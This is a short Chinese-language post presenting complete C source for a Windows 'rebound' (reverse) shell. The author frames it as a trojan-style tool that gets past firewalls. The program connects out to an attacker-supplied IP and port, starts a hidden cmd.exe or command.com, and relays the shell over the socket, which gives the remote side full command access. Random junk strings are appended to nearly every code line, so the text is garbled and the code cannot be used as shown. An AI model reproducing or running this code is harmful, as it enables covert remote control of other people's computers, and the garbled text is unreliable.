这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 E[Io8|QA
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/* ============================== 0_y%Qj^e
Rebound port in Windows NT a
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By wind,2006/7 o_*|`E
===============================*/ Q}.y"|^
#include N$,)vb<
#include \M532_w
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#pragma comment(lib,"wsock32.lib") >qUO_>
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void OutputShell(); Iq}h}Wd
SOCKET sClient; b~1p.J4
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; IKr7"`
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void main(int argc,char **argv) `oz7Q(`
{ 246lFxG.
WSADATA stWsaData; /+1Fa):
int nRet; `Zi #rr|)L
SOCKADDR_IN stSaiClient,stSaiServer; YV940A-n
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if(argc != 3) t@ JPnA7~
{ ?RzT0HRd
printf("Useage:\n\rRebound DestIP DestPort\n"); X9gC2iSs]
return; ~D=@4(f8|
} dO//
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WSAStartup(MAKEWORD(2,2),&stWsaData); M2EN(Y_k0
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q@-qA]
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stSaiClient.sin_family = AF_INET; lM1!2d'P
stSaiClient.sin_port = htons(0); EH "g`r
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); M>J ADt_]
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d$,i?d,
{ -pGt;
printf("Bind Socket Failed!\n"); E 6@;e-]j
return; {n{}Y.
} :{
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stSaiServer.sin_family = AF_INET; l=]vC +mU
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Wkk Nyg,
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &"h!SkX/
{ ,<
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printf("Connect Error!"); uWInx6p
return; QPcB_wUqu
} kZ.3\
OutputShell(); ) IhY&?jk?
} GDB>!ukg
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void OutputShell() )x7hhEk=^
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char szBuff[1024]; piFQ7B
SECURITY_ATTRIBUTES stSecurityAttributes; y&Hh8|'mC
OSVERSIONINFO stOsversionInfo; OA=;9AcZ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?.4l1X6Ba
STARTUPINFO stStartupInfo; ibc/x v2
char *szShell; Xh/av[Q
PROCESS_INFORMATION stProcessInformation; ~=mM/@HD
unsigned long lBytesRead; feW9>f;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bN&da
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "'#Hh&Us
stSecurityAttributes.lpSecurityDescriptor = 0; \-0` %k"&
stSecurityAttributes.bInheritHandle = TRUE; rw2|1_AF
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "y0A<-~
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R7{hoqI2
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .Cus t
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \8D~,$,``|
stStartupInfo.wShowWindow = SW_HIDE; UG_0Y8$
stStartupInfo.hStdInput = hReadPipe; ECzNByP
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %4Zy1{yKs_
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GetVersionEx(&stOsversionInfo); mD)O\.uA
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switch(stOsversionInfo.dwPlatformId) q_&IZ,{Vk
{ *~uuCLv_
case 1: ZRm\d3x4
szShell = "command.com"; 3pW
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break; AZy2Pu56
default: [;AcV73
szShell = "cmd.exe"; }AqD0Qd2Hj
break; AyO|9!F@A
} _[o^23Hj
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); I}IW!K
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send(sClient,szMsg,77,0); QZox3LM1&.
while(1) [9_ (+E[}
{ NF!1)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +:%FJCOT
if(lBytesRead) K>6k@okO
{ -(}1o9e\7
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tlgvBRH>
send(sClient,szBuff,lBytesRead,0); "'B%.a#k
} [Mc5N
else ]!aa#?Fc
{ J6ShIPc
lBytesRead=recv(sClient,szBuff,1024,0); A_~5|
if(lBytesRead<=0) break; MjC%6%HI
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "\r~,S{:
} veg!mY2&
} /$,=>
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return; !F#aodM1N
}